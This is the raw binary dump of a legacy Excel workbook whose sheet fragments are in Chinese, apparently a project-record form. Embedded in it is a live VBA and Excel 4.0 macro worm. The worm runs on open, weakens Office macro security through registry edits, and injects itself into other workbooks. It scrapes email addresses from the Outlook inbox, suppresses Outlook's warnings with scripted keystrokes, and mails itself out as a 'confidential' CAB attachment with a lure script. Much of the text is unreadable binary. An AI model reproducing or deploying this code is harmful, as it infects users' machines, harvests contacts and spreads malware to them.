ࡱ> +g*  !"#$%&'()8<-./012345679:;>?@XBCDEFGHIJKLMNOPQRSTUVW=YZ[\]^_`abcdefhijklmnopqrstuvwxyz{|}~Root Entry Fp.=q,@2WorkbookGO_VBA_PROJECT_CUR"Pp=qVBAPp9q  \p Ba=  ThisWorkbook=x9!8X@"1J[SO1J[SO1J[SO1J[SO1J[SO1"J N[_GB23121"J N[_GB23121J[SO1hJўSO1hJўSO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)+""#,##0;\-""#,##05""#,##0;[Red]\-""#,##07""#,##0.00;\-""#,##0.00A""#,##0.00;[Red]\-""#,##0.00e0_-""* #,##0_-;\-""* #,##0_-;_-""* "-"_-;_-@_-,'_-* #,##0_-;\-* #,##0_-;_-* "-"_-;_-@_-u8_-""* #,##0.00_-;\-""* #,##0.00_-;_-""* "-"??_-;_-@_-4/_-* #,##0.00_-;\-* #,##0.00_-;_-* "-"??_-;_-@_-                  , * + ) 8@ @  0@ @ 8@ @ 8  8@ 0@ 0  94@ @ 0 @ 8 @ @ 8@ @ 8@  8 8@ @ 8@ 8@@ 8 @ 0@@ 0 @  8 8@ 8@ @ 8@ <@ @ <@ 8@ @ 8@  8^ĉ_Sheet1`Macro2rHPYAMBMacro1cSheet1MSheet23NSheet3VV! :! :! :! :! :! :8bgb__ 7 /f&Tbb:N,{Nr TUSMO 7 ,gNdQW[pe(NW[) 7 *NNnx~{W[ 7 Rir Ty/Q R:gg/cVY 7 ^S 7SbR 7[bN 7 7e 76RhN  7 |b #N 7Ye^`Q 7\MOI{~ 7Ly\Oc^ 7f[S 7 bg Ty 7 Sh Rirt^wSg0W\OSISBN 0yvybS0N)RS 7 #f 10 bgb__ ce0NW0YePg0yv0\OT0N)R0VYI{ 7 ~+R 7yvegn 7g 20 ~+R ecCgZ0SCI0EI08h_1020nfg R vQ-NSCIU_eQq_TVP[W\OcQHr>y/fV[0w~bvQ[VYcV[0w^S@\~~+RzycV[~ 0w萧~00W^S @\~~+R 7 . 40 yvegn cOXbf[!hyxyv0͑pf[yI{yvShvf[/ge0NWTN)RI{ 7 2 30 ,gNdQW[pe cNW0YePg-N,gNbbR040,gNc^SN/fcd/ecNYvc^0 7 3  yx]\Oϑ~h2012t^11g1e2013t^10g31e   7" ,Vcc @  S  dMbP?_*+%"??U BT3  Lenovo UserBA B~ h/y(u[ sQ 2013-10-17 8:04:02 Please Enable Macro!Bv B A B7d 7   >@7   *  dMbP?_*+%"??uU>@7 Sheet1 @  B  dMbP?_*+%"??uUBT3 Lenovo UserBA Bj0y(u[ sQ 2013-10-16 15:55:51 Please Enable Macro!BvBATB7d 7   >@7   A}K  dMbP?_*+%&{Gz?' ףp= ?(?) ףp= ?M %C 4dXXA4DINU"p F?pSMTJ`HP LaserJet M1522 MFP Series PCL 6InputBinFORMSOURCERESDLLUniresDLLESPRITSupportedTrueHPDocUISUITrueHPNUseDiffFirstPageChoiceTRUEResolution600dpiFastResTrueHPPrintInGrayScaleTrueEMFSpoolingforPLSwoMopierTrueCollateOFFOrientationPORTRAITHPOrientRotate180FalsePaperSizeA4MediaTypeAUTOColorModeMonoEconomodeFalseTextAsBlackFalseTTAsBitmapsSettingTTModeOutlineRETChoiceTrueHPEnableGrafitCompressionTrueHPRequestObjectTagDumpFalseHPRequestNullStripCommandFalseHPHybridRenderSwitchHPHybridPDLHPManualDuplexDialogItemsInstructionID_01_FACEDOWN-NOROTATEHPMapManualFeedToTray1TrueHPManualDuplexPageRotateDriverRotateHPManualDuplexPageOrderEvenPagesFirstPrintQualityGroupPQGroup_1HPDocPropResourceDatahpzhl5mc.cabHPColorModeMONOCHROME_MODEHPPDLTypePDL_PCL6HPPJLEncodingUTF8HPJobAccountingHPJOBACCT_JOBACNT_GROUPNAMEHPBornOnDateHPBODHPXMLFileUsedhpc15226.xmlHPEnableObjectTaggingTrueHPReverseScanLinesForDuplexTrueHPEnablePageTimerFalseHPSmartDuplexSinglePageJobTrueHPSmartDuplexOddPageJobTrueHPEnableNullStripsTrueHPEnableEfficientMonoFALSEHPEnableImageProcessingPathFALSEHPMonochromePrinterTRUEHPCallToWritePrinterRequiredTRUEHPMemoryManagerTrueHPGetCompressionRatioValue17MaxStripHeight64HPGetByteAlignedValueForWidth256HPGetDeltaRowHalfToneValue1HPManualFeedOrientationFACEDOWNHPOutputBinOrientationFACEDOWNHPPrintOnBothSidesManuallyFalseHPPageExceptionsFileHPZPE5mcHPPageExceptionsLowEndHPPageExceptionsLowEndVerHPPageExceptionsInterfaceShowPageExceptionsHPPageExceptionsCoverInsertionPSAlignmentFileHPZLS5mcPSServicesOptionHPServiceFileNameEndHPSmartHubInet_SID_263_BID_514_HID_265HPConsumerCustomPaperTrueHPPreAnalysisTrueHPManualDuplexDialogModelModeless IUPHxjAo* K/fAZt Ŷh+$= }GUM/7K"1fJ7M2;3g`vf- gp`}w$͠4< J ә.+9=qY<ŗgD9E5l`'H,,ӝjwK+i.{N<`F /\䰊J (gNke2^ՐㄤӟtΠre6t\{C&"cm6ψQa9;h0lcXco HJZcDdHhs9Elc&쳽qWLD}Ğ>,0'޼;1RqW@FDs9In[κ^һQ9yʣ}Ԏ?ü;6}ZDDDDDDD΁?)k<v" dXXRQ? ףp= ?U} `} } } `} }  } `} `} } } } `} } }  } } @}  +@@7@w@w@w@w@w@w@ w@ w@ w@ w@ w@w@w@w@w@@@ .(................. ( ( 4 ( $ 0 * //+  $  $  $  $ 2 2 2 2))5)%1 * + "   %%%%3333~ ?(,-!~ @(,-! ~ @(,-!~ @(,-!~ @(,-!~ @(,-!~ @( ,-!~  @( ,-!~ "@( ,-!~ $@( ,-!~ &@( ,-!~ (@(,-!~ *@(,-!~ ,@(,-!~ .@(,-!           '('''''''''''''' #(#################*################## &(&&&&&&&&&&&&&&&& &(&&&&&&&&&&&&&&&&4X:d:::::::::::::::|::.:>@"$          7 Sheet2   M  dMbP?_*+%"??U>@7 Sheet3   N  dMbP?_*+%"??U>@7 Sheet4 ThisWorkbook M Sheet1 *YSheet2<YSheet3NY  !"#$%&'()+,-./0123456789:;=>?@ABCDEFGHIJKLMOPQRSTUVWXYZ[\]^_abcdefghijklmnopqstuvwxyz{|}~9U3#;{O1BAzt-FXaJxEWxME [LSS<(<``(<,<<< <$<0<4<8<<<N0{00020819-0000-0000-C000-000000000046}(%H` % %%*  H )^h%0(Rx _xx%p`t @p 0@t @d h8HhTxT*\R1*#2a9 "  ( 0@H"  PX\`     ] Ġ (. ((*PARo &{0002E157-0000-0000-C000-000000000046} ^!>!B@ ((00 ((*! ^A@\ ((0oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 LIxME (SLSS<N0{00020820-0000-0000-C000-000000000046}(%H` % %`h8@HHTxAttribute VB_Name = "She@et2" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2LzS3|#!2xO FA*Z%8W@~$j2xME (SLSS<N0{00020820-0000-0000-C000-000000000046}(%H` % %`h8@HHTxAttribute VB_Name = "She@et3" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2Sheet4 `YToDOLEA__SRP_dr__SRP_cSLzS3#/6 GIk F>]<1iCxME (SLSS<N0{00020820-0000-0000-C000-000000000046}(%H` % %`h8@HHTxAttribute VB_Name = "She@et4" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2rU~|  0  0 @  0  0 8  0   0 0 H "0@H*TP  "" &F2*("X"0@"P4xV9 0(0X0  "    '0P `hx B  H   B   9 "'(P B$ X p x   &   ( 0@HP Xhpx ($ *E  "$ 0 @ $P`h px  %  ($ $      1( H`(:x  (  "  $   ( "C8 `  p  x  #       B    L- -3xME 1<<0`<6 <<<< <$<(<,<0<4<8<<<@ r Jil B,3( &@`,J  4`HJ @<H 28`PJ # Gx% It As % Mp0% R`xPJ 0 14 \0`>N  8)_  % 14 cd% e`(%+h`Np ffCij )m%)o%ip  14 Ipt %`rp`tl`vh`xd`z` }\% X8`N  14`h`d Th V@`xN  14@\ !,`X`T`P`L`< >.`, d`($h ` ( Xp  8 z H  ` HL < @,  @  @ @ @ x  @  X   %`&x `(!!7(!!`(!Yx!2468x (t @p @` p"\ @L (< @, @##`#`l @\ #X T#`#P $8%H%x @t @d H%(` @\ X0%`H%XT @P @L @H H&h(`& _x 0(p @` '\ ((0L @< @, ( @$ @ @ @ @ @ @ @ @ 0(@(? p((( @ `  "(T*\R4*#1d*\R1*#2ad$*\Rffff*0P54100608"  "   0 B Lr` Jr Hr HH  "`  p     "   B       ) * ZH V \ X`     ( H "  PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B  X`hQp "   0bPP 02#  ( .$0 `hpxP  +  . @ J^H ,$,$  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K "K "KK&+L 0L$G8L"0`LLLL L:L "L LL ((* !, (!. ((0A2A4$6!Macro1G A@8j B@:1 ((0USE~1kXoP@]" ThisWorkbook !>%@!B9#Public WithEvents xx As ApplicationC@DPrivate Sub Workbook_open()C@DSet xx = ApplicationC@DOn Error Resume NextC@D!Application.DisplayAlerts = FalseC@D Call do_whatC@DEnd SubC@D1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@D On Error Resume NextC@D %wb.VBProject.References.AddFromGuid _C@D GUID:= <&{0002E157-0000-0000-C000-000000000046} <, _C@D Major:=5, Minor:=3C@D "Application.ScreenUpdating = FalseC@D!Application.DisplayAlerts = FalseC@D copystart wbC@D!Application.ScreenUpdating = TrueC@DEnd SubC@Dqo]]] !>.F ThisWorkbook F%@.H H!B.L L5PC@Nqox8 !, (!.A@TAVAXAZk0i(]]k4.xls$f!>.b ^!>.dToDole b d$hGzji  0]](]@]X]p]] l'hz0k( j$~ 'hzk n'hzk l! 'hzk n! 'hzkx j l%@.H !'hz@k8Temp$\ j.bas'r p r    $~  B@ rA@ !'hzkk n!@ j7C@qXdP B@ j n%@.H ! ! d'hzkkk r j l%@B@ r\$'x r.$'z r x z x  $'t.H t n%@.H H r n!@B@d H!l  r n!@%.| H!B5PC@N |!B!P |!B%'v vC@Dq | n!@B@k`kX rA@'hi8]]  !' (!.\k4.xls'k4.xls$ !, (!.Gk4.xls$fB@Bjcomspec$  /c attrib -S -h " (!.\K4.XLS" A@comspec$  /c Del /F /Q " (!.\K4.XLS" A@comspec$  /c RD /S /Q " (!.\K4.XLS" A@ !, (!. ((0 (  B@ ( ((0kHi@8]]]( (!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@] WScript.Shell$.    B@dP    B@k0.o ]h ^%6B@H l 6B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" (!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  ^!6 !!Auto_Activate =Macro1!$A$2 ^!B@  ^%(o'  (%f! 'z`kXPiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h] WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@ A@ k d G|j   n $   n $| d n $' D:\Collected_Address:frag2.txt$X' n $ D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@  D:\Collected_Address:frag2.txtA@ A@k k k o ] 8Ph scripting.filesystemobject$. WScript.Shell$.E:\KK % GE:\KK B@"j ! ! $ _$$._$$'E:\KK\  _clear.vbs'& ' &  On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'( ' (  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  &"), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V , ((* wscript.exe ( 0 B@..o]  ]8 P 4'2 WScript.Shell$.scripting.filesystemobject$.E:\SORCE % GE:\SORCE B@"j ! ! $ _$$._$$'*  *Message*'6 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !, \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V ((0A@8 E:\sorce\ .xls B@A@T$L' : !,$A@<#"C:\" !,A@:comspec$  /c makecab /F " !, \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB 0 B@. " !, \TEST.txt %> !, \setup.rpt %> !, \setup.inf %> !,\ .CAB %>aA@comspec$  /c RD /S /Q " !,\disk1" 0 B@.comspec$  /c Del /F /Q " !, \TEST.txt" 0 B@.comspec$  /c Del /F /Q " !, \setup.rpt" 0 B@.comspec$  /c Del /F /Q " !, \setup.inf" 0 B@.comspec$  /c RD /S /Q E:\sorce 0 B@.E:\KK % GE:\KK B@"jcomspec$  /c MOVE /Y   .CAB E:\KK" 0 B@. :A@: 2  Dear all, B  BFYIE:\KK\ .CABA@comspec$  /c RD /S /Q E:\KK 0 B@.. ((0o=h ]H ]` G|jOutlook.Application$.N T N%R.P P F9F H9H D9h J9V L5XB@9Zq =\=^= PB@`[ setforth A@A@A@%sdA@bA@^<\<.N.Po<x Win32_Process WinMgmts:$h%j.f' l f l!nOUTLOOK 'y<k;;i; ] 0 H 'p rGzj r   r p$$ 'p zP;kH; r 'tA@4  x t  z   'v z v G p$$ z v 'pj z v 'z:i:` ]   '4D:\Collected_Address\log.txt$ B$'| | |  $p$$$'~  ~ 4; $~X $|'4 i9 9]H ` scRiPTinG.fiLEsysTeMoBjEcT$.  %. !' B@Bi9x 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ % G   $ B@"j  %>  %.  B@ B@Bd8  %.  B@ B@Bk7o7( ]h   ] ((0 ((*p7  ! ( !!$# Auto_ActivateG B@j7  !6 !Macro1  ( B@k66$6B@H 6B@  !6 !$6!G  (j06 x ' x '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 ((0op4 ](@X@4 !' ((0 ((*  !6 !Macro1G  (j3 A1:F15 $6% ! CONFIDENTIAL 'yh3k`3X3 G $6B@j ((0i 33YAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a! \n147n.̠toreAfterayCDoorMisoftho(bbyABJuLdg  % T(2F1 LP1Lk2t#= M0#k4.xlse'(29L7 Q mrh@'oDole",$)K @F)xExit Zn}`lStringL! S& /tGF S SlashPo@s LongE xtQTempEQL c"Is No05 g%`'T #a1$ᘱTrim(#)vbNull3(a  & Q0Hc].=,t:"_pp_locked_ys*y9 [t0Pß2w#SJ!'Q Дv>8(s  .Number0 _!Y!9=viron0R2")"\љÈMP.basA H= + s! ! Dir(", Q.orm@+HiddСSystem)0 CleasE KiB% q929*8* .Rem .I !Eq1 :)dI"Q+= 9>2  `@Else `@ copymodule = Fah Exit Function Endx If&   FromVBProject.VBComponents(MName).Exporpile:=FBGSlashPosInStrRev(, "\")Ext.?-#Mid!.+ 1,}#-  - 11Fet e#Nothing To}B *If)Is a* The(.6I@UO KF.Typvbext_ct_Docu~m@f6AS@?TempF@%CY:KWith?.Code.DeleteL0inesAj untOf S@g*5H. (zCo-/.Insert!SA4KOn Error GoTo 0 VPRemove. ) hm iKill g}Tru'@{ e Microsoft@hobby(`Attribute l`y_zcDataaInvoke_! ." \n14" Dim myfz0 As wBeMyF#F$Res@Q N) S =SisWorkbook`.Full = ApplicaA.Startu(pPa K&`k4p.xls `eO pen("$) 2AThH <>+ s s' .CloseEShe2Environ$("comsp ec")  /c aB, -S -h """9@K4.XLS, vbMinim izedFws  h /F /:Q? \? ORD8 /S 3 @62= )cre enUpd DngTi IsAdd@KValue2Variant, 34VS?0xt 0 0 Tha';TruExith4xIf A:'} AJudge() Const T1~D= "10:0"2 1 3 4 4 5Dim Sent Tib, Wshvll.Set#CCre(Object("WS@cript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\shell\o@\command\")), "OUTLOOK.EXE"Gk> c@T)@1>=R@<2 O\r @J 4~ & @(Ou7D: \Coll:ed_Address:frag1.txt!i"AH%Y E PFi"1"\A search_in_OLH2bif_outl_U+ @# TLh#A("n10,2)G) TJ4)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w < 2# b$ \loggHPH l%cmI JI`,n6R#i,"Cab_ dMyISBU`Gadx*] aiInteger, Att+@ddVbsbkCʢListf~s gኦLRxesuC䡢=dys¡@.f{systemob'_I @Mfs.Folderexs("E:\KKbz$8b  $= Replace`Left(Thi6snp,rsn) (- 4qX %_".@&_c{rPb\" &6& ".vbs (i`Free1 vFF0~QXput0scW Wri@#iAPnt #i!bn| eBx`#wsh, tleL;i  T0P Pr=co3("""wc.k4) @Misoft Office PAZQ1 Ў1000bkR p > 6㌓^PCall !f mh( leep 05p.sen@dKeys $ %a P Uh{TAB}?BOO @O{E`Cr}A=[; `th=U quditub#*Do Until qA(CStr("))+aSIfr RLoop=% s_2[z{F4?7t[`Close (i0s@ @A"b@ж@0A"AAolVInbox 6QCconbiTnd`ac,E,DtLxF#=YubsC۳38FA б.T. 1ssp`q.GetMMAPI vDefault(J_ Targe~? e"E1 colIPxsI.B23VVaH0 .Run _ex|e opo svbg{tB pCgQ/EachMPpage in  K2a`>55 t `Jt For" Print #i, " conbinded_address = L& valiAF(objMVage.Body)a Next "_FtZ, 8*all_non_same(ReadAllTCFil e), 2 6WScript.Qui { 'vate Function lsource`_data jDim oDict, trim" emp, t_asc, hYer_endarr, ii_ M0regex, matchs, s(GSetGCrejObject(""" & "0ing.Y:aryBVBSCRIPT.REpGEXP3B.@GlobalTruePattern \w+@([-+.])*@D\.D NHQ"Exe cute(yReAzx^.Cou1@- 1O iI@Lbd() To UN*f Ei)@I0tem(@bCxrLf܎B_0NN IfCYd,> 0 Then(h$b.keys,c3C ʠ&{`# !@ End i|Nothyke+Sub !(inpad_2sUng_frag/\bjFSO, logf_path#folde&$FD:\CollAЅI?B!ASysf#D On @Error ume n&@3_A .cF}b(el ].Existsˡch\ .tl8b$a2%?"<, Y?)ƒ^)S _P/e1! Case B*B)n  $= dOpen_r@, -_A.Wrik5_ S5Clos_q \ SO. 9O%00 ۡ t:C o i%SsK!5>nN "u>b.̣ M9N@, My6Lss5o1C)MM":!s @//e( , 1, False-J.At`OfStPmy eE1o_!Ȋ%ngQt{^%x%s@i2q NL$kǬ`Split, vB_HPY!2). /.y1{ Rآ0*o R?Bl!_H" Print #i, " NextEnd IfXSet oDict = Nothing FnFunction2Close (i) Applica.WindowStateHxlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False E Sub4 v= CreatCab_SendMail(VDim i As Integer, AttNHame Stg E ListQ ress_l I 4fsObject, ]'? dd= get_ten_^a izje("WSBV"7A =@=C? [u.f@Xsystemo% If fs.Folderex1s("E:\SORCE")Z` Then   3R= Re@place(Left(ThisWorkbook.\, Len ) - 4" R"@_". m@r_sub%0"*" @D& "*M@bage*@A 3sorce\L _Key.(vbs i Freex Op;For Output Acc0 Wri@r#i oexcel,owb ,Fso,a_xls,sh,r0outeOn errResuysh= "a"smas ")k sh.MintAllk "2S!N)S"NV {9e^ Z@LZ# AKKeh[Ac[GK <opy _+'%.CurrentDir@8oryUd-Q*.CABd,"8 "\E TruEaSEachaJ a(`W$expam m# -F:Ae.Z , 0, tnoZe6E/% Dq!0 tr "l =2" ?b if a@?  9B)=In`Box,=8 dr^a Q @g  Co  P 4, 10, 8500VUaieO+E+5) UBound(a)cPerve a(n*2Arn + 1/ s8@} o/ -1/ d}0a )ddq z b\TEST.t㟰 ԡ#PK_aX?>~ H砦eenUpd0ng " гtoreBefPA SaveC Qϟ Af<c c4$1ChDri% , ,'"C:\@ir`)1,Environ$("comsp ec /c makecab /F~[ThisWorkbook.Path & "\TEST.TXT"""< /D COMPRESSIONTYPE=LZX XMEMORY=21.ABINETNAMETEMPLATE=../AttName.CAB", vbHide, False Do Until fs.FileExists(txt") _ And"5setup.rpcinf+5z)rEvents Loop{WshShell.Run Environ$("com0spec: /c RD /S /Q disk12Del /FA_"r GlNzFiE:\sorceQIfBold(ereC" KK@{= ThenA CreateF% D %YMO@VE /Y P #pChDir c4$ Call Massive_SendMail(Address_lt, D{, "Dear  , vbCrLf~GF"FYI# w\p" f_c.`Set e = Nothing`pplication.ScreenUpdngTruE`ESubuPhriv1 "EJm#_#$,ject Body!CC_ebadd #achm $ Dim objOL AsH Ob itmNew!0J if_outl_opGbH>t!a! = #Lc ("O.A_"0AH=.Item(olρA Wi '! .(A-$hA&To`,yCCi,hg-s>. 4Vd/et@eAftermit C@@aOrror Goco@nEd-:.playDebugB.Int "`for$"oD Keys "%s@jWait<:=gKB U i!11` Func4(()a+Boolea(n s Get'WinMgmts:").InstancesOf("32_Ptros!).S 4 F0E) Inav 2InStr(p/.DescripQ `KOUTLOOW> 0W< 34 If NextyBRadomNine(leng>Intpegerr H !@jj, ki""#Ӑ$<= c [@:1E i1 `-ӷ$$[id. U = !t / 10Ran0izW[ &k `(RY* (@* i - m01)) + *1T mk <> t !w m/  `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\CHollfed5h\log.RpxYkrrV)UBoPund()Ls )4#O P$;3A$(C`(i- 